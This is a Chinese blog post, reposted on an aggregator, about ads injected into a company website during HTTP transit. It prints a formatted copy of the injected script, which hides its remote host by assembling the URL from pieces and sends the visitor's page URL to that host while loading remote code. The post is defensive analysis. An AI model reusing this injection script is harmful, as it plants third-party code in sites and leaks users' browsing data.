你的位置:首页 > 软件开发 > Java > 一次屏蔽无良广告的记录

一次屏蔽无良广告的记录

发布时间:2016-06-25 13:00:08
说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被 ...

    说起网页广告,大多说人应该是深恶痛绝的,以前在别人网站上看到右下角的广告,还以为都是网站自己挂上去的。但是今天,意外发现自己公司网站上也出现了广告,查看浏览器输出的源码,的确是多了一个js引用。但是去服务器上看一下页面源码,是纯净的呀,这大概就说明当数据通过http传输的时候,被拦截和修改了。这就好像,你有个网店,给客户发货的途中,包装上竟被人贴上了小广告,客户就是上帝,我们要顾及上帝的感受!!

(所以我们有理由怀疑:要么某个快递员不负责或做了手脚,要么某个中转点不负责或做了手脚)

   网络运营商说绝对不是他们做的,工信部表示也无可奈何。我除了信,还是信了!外求无效,只能自己想办法了!

 

第一种:

     HTTPS应该可以解决。但没用过,安全性要求不高,也就没折腾。

第二种:

    通过JS来反抗。毕竟广告植入也是通过JS来做的。

 

下面就说说JS的方法:

发现了自己网站有广告后,又在其他网站上也有所发现,引用的js也是同一个,源码如下:

一次屏蔽无良广告的记录

 

提前注意i8.js引用的位置。打开这个i8.js,发现是一段压缩过的、写法奇特的代码,为了好分析,格式化后如下:

(function(d) {  function $a(p) {    try {      var x = d.getElementsByTagName("head")[0];      var y = x.appendChild($s(p));      setTimeout(function() {        x.removeChild(y)      },      2000)    } catch(e) {}  }  function $c(n) {    return d.createElement(n)  }  function $s(p) {    var j = $c("script");    j.src = p;    j.async = true;    j.type = "text/javascript";    return j  }  var amt = 0;  function $rn() {    var ww = d.body.clientWidth;    var hh = d.body.clientHeight;    var u = {      j: "ht",      c: "com.cn",      q: "tp:",      m: "b.",      n: "wdzs",      d: "i."    };        var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;        var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;    if (top == this) {      if (ww < 300 || hh < 40) {        amt += 1;        if (amt < 3) {          setTimeout($rn, 1000)        } else {          $a(be + "/fmt8p/m.php?u=" + en)        }      } else {        $a(be + "/fmt8p/?u=" + en)      }    }  }  setTimeout($rn, 500)})(document);

原标题:一次屏蔽无良广告的记录

关键词:

*特别声明:以上内容来自于网络收集,著作权属原作者所有,如有侵权,请联系我们: admin#shaoqun.com (#换成@)。

可能感兴趣文章

我的浏览记录